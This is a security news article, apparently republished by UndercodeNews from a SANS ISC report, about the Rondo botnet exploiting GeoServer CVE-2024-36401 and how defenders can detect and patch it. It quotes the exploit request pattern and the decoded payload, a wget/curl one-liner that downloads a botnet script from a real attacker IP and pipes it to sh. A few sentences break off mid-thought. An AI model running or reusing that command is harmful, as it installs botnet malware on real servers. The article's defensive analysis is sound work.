Rondo Botnet Returns: Old Geoserver Vulnerability Exploited Again in a New Wave of Attacks + Video

Listen to this Post

Featured ImageIntroduction: A Familiar Threat Reappears in Modern Infrastructure

Cybersecurity often follows a predictable pattern: vulnerabilities are discovered, patches are released, attention moves elsewhere, and eventually attackers return to exploit systems that were never fully secured. The recent appearance of the Rondo botnet targeting GeoServer installations is another reminder that old vulnerabilities rarely disappear — they simply wait for new victims.

Security researchers monitoring internet traffic recently observed renewed exploitation attempts against GeoServer, an open-source platform widely used for managing geographic information system (GIS) data. The attacks leverage CVE-2024-36401, a critical vulnerability involving XPath expression evaluation that can allow attackers to execute arbitrary commands on vulnerable servers.

The campaign is linked to the long-running Rondo botnet, a malware operation previously observed targeting GeoServer systems. Although the attack technique is not new, its return highlights a continuing problem across enterprise environments: exposed services remain vulnerable long after security warnings have been published.

Attack Summary: Rondo Botnet Targets GeoServer Through CVE-2024-36401

Researchers recently noticed suspicious HTTP requests appearing in security logs targeting the GeoServer Web Feature Service (WFS) endpoint. The malicious request attempted to abuse the GetPropertyValue function to execute operating system commands remotely.

The attack request looked like a normal GeoServer API call at first glance:

GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue

However, hidden inside the request was a malicious XPath payload designed to trigger Java execution:

exec(java.lang.Runtime.getRuntime(), …)

This technique abuses

Once successful, the attacker attempts to download and execute a shell script from a remote server controlled by the botnet operators.

Understanding CVE-2024-36401: The GeoServer Remote Code Execution Risk

CVE-2024-36401 affects GeoServer versions that improperly handle XPath expressions. The vulnerability allows attackers to inject malicious expressions into GeoServer requests, potentially leading to remote command execution.

GeoServer is widely used by organizations that manage geographic information, including:

Government agencies

Transportation companies

Environmental organizations

Mapping providers

Research institutions

Smart-city infrastructure projects

Because these systems often contain valuable geographic datasets and are connected to internal networks, compromising a GeoServer installation can provide attackers with an entry point into larger environments.

The vulnerability became especially dangerous because many organizations exposed GeoServer directly to the internet without proper access controls.

Deep Analysis: How the Rondo Botnet Attack Works

The observed attack chain follows a classic malware deployment strategy:

Step 1: Exploiting the Vulnerable Endpoint

The attacker sends a specially crafted request:

/geoserver/wfs

with a malicious valueReference parameter.

The payload abuses Java functionality:

java.lang.Runtime.getRuntime()

allowing execution of system commands.

Step 2: Decoding the Hidden Payload

The request contains a Base64-encoded command.

After decoding, the payload becomes:

(wget -qO- http://45.153.34.153/rondo.zzyt.sh ||
busybox wget -qO- http://45.153.34.153/rondo.zzyt.sh ||
curl -s http://45.153.34.153/rondo.zzyt.sh)|sh

This command attempts multiple download methods:

wget
busybox wget
curl

The attacker uses several tools because different Linux environments may have different utilities installed.

Step 3: Downloading the Malware Script

The server downloads:

rondo.zzyt.sh

and immediately executes it:

|sh

This gives attackers the ability to install malware, modify system settings, join the victim machine to the botnet, or perform additional attacks.

Step 4: Establishing Botnet Control

Once infected, compromised machines can become part of the Rondo botnet.

Possible botnet activities include:

– Distributed denial-of-service attacks

– Cryptocurrency mining

– Proxy network operations

– Malware distribution

– Scanning for additional vulnerable systems

Botnets survive because attackers continuously search for unpatched systems.

Rondo Botnet: An Old Player With New Opportunities

The Rondo botnet is not a new threat actor. Security researchers have tracked its activity before, including previous attempts against GeoServer installations.

One interesting characteristic of Rondo campaigns is the use of references inspired by music culture, particularly rapper-related naming patterns. These small details reveal something unusual about some cybercriminal operations: even automated malware campaigns sometimes contain traces of personality and creativity.

However, behind the playful naming is a serious threat.

The return of Rondo demonstrates that attackers frequently recycle successful techniques instead of creating completely new ones. If an exploit worked before, criminals often return to search for more vulnerable systems.

The Forgotten Problem: Internet-Facing Systems That Never Get Patched

One of the biggest lessons from this incident is not the vulnerability itself, but the continued existence of vulnerable servers.

Security teams often face challenges such as:

Legacy applications

Forgotten cloud instances

Unknown internet exposure

Lack of vulnerability scanning

Delayed patch deployment

A vulnerability from 2024 can still become a major problem years later because many organizations do not maintain complete visibility over their infrastructure.

Attackers do not need to break through advanced defenses if they can simply find an unprotected service.

The Return of Website Defacement Culture

The researcher observing the attack mentioned something that many older security professionals remember: the website defacement battles of the late 1990s.

During that era, attackers often replaced websites with messages, signatures, and digital graffiti.

Modern cybercrime has become far more profitable and dangerous, focusing on:

Ransomware

Data theft

Financial fraud

Botnet operations

Initial access sales

Yet traces of the old hacker culture remain. Some malware groups still leave behind signatures, names, jokes, or references.

The Rondo campaign represents a strange combination of old-school hacker personality and modern automated exploitation.

Security Recommendations: Protecting GeoServer Deployments

Organizations running GeoServer should immediately review their systems.

Recommended actions include:

Update GeoServer

Administrators should upgrade to patched versions that address CVE-2024-36401.

Example verification command:

grep -i "geoserver" /opt/geoserver/VERSION.txt

Search Logs for Exploitation Attempts

Administrators should review HTTP logs:

grep "GetPropertyValue" access.log

Look for suspicious parameters:

grep "java.lang.Runtime" access.log

Block Suspicious External Connections

Investigate outbound connections from GeoServer hosts:

netstat -antp

or:

ss -tunap

Unexpected connections to unknown IP addresses may indicate compromise.

Limit Internet Exposure

GeoServer should ideally not be directly accessible from the public internet.

Recommended protections:

– VPN access

– Firewall restrictions

– Reverse proxy protection

– Authentication controls

– Network segmentation

What Undercode Say:

The return of the Rondo botnet is another example of how cybersecurity battles are rarely about discovering completely new threats.

Attackers understand that the easiest targets are often forgotten systems.

A vulnerability does not become harmless because security researchers stop talking about it.

CVE-2024-36401 shows how quickly attackers can weaponize exposed applications.

GeoServer is not usually considered a traditional enterprise application like email or databases.

However, geographic systems often contain sensitive operational information.

Maps can reveal infrastructure layouts.

GIS databases can expose transportation networks.

Location data can become strategically valuable.

Attackers increasingly understand the importance of niche technologies.

The biggest mistake organizations make is assuming uncommon software is not a target.

Every internet-facing application is a potential entry point.

Rondo’s return also demonstrates the efficiency of modern botnets.

Instead of manually attacking systems, criminals automate scanning, exploitation, and malware deployment.

A single vulnerable server can become infected within minutes after exposure.

The attack chain is simple:

Find vulnerable system.

Send malicious request.

Execute remote command.

Download malware.

Join botnet.

This simplicity is why patch management remains one of the strongest cybersecurity defenses.

Advanced security tools cannot compensate for unpatched critical vulnerabilities.

Organizations should also improve asset discovery.

Many companies do not know exactly how many public-facing services they operate.

Unknown assets create invisible risks.

Security teams should regularly scan their networks from an attacker perspective.

The Rondo campaign also reminds defenders that attackers reuse successful methods.

Old vulnerabilities remain profitable.

Old malware families return.

Old attack patterns continue working.

Cybersecurity is not only about preparing for

It is also about eliminating

✅ CVE-2024-36401 GeoServer exploitation is a real vulnerability.
The vulnerability involves unsafe XPath expression handling that can lead to remote code execution.

✅ Rondo botnet activity targeting GeoServer has been observed previously.
Security researchers have linked Rondo campaigns with attempts to exploit vulnerable GeoServer deployments.

✅ The attack payload uses common Linux download utilities.
The use of wget, busybox wget, and curl is a common malware delivery technique.

❌ The attack does not represent a completely new malware family.
The activity is a renewed campaign using known techniques rather than a brand-new threat.

Prediction

(+1) Organizations that improve vulnerability management and remove unnecessary internet exposure will significantly reduce the impact of campaigns like Rondo. Automated patch monitoring, asset discovery, and better network segmentation will make these attacks increasingly difficult.

(-1) Companies that continue operating outdated GeoServer installations without monitoring will remain attractive targets. As automated botnets grow more efficient, vulnerable servers may be compromised faster than security teams can respond.

The future of cybersecurity will increasingly depend not only on discovering new threats, but on finally eliminating old weaknesses that attackers continue exploiting.

▶️ Related Video (80% Match):

🕵️‍📝Let’s dive deep and fact‑check.

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

References:

Reported By: isc.sans.edu
Extra Source Hub (Possible Sources for article):
https://www.instagram.com
Wikipedia
OpenAi & Undercode AI

Image Source:

Unsplash
Undercode AI DI v2

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeNews & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky | 🐘Mastodon | 📺Youtube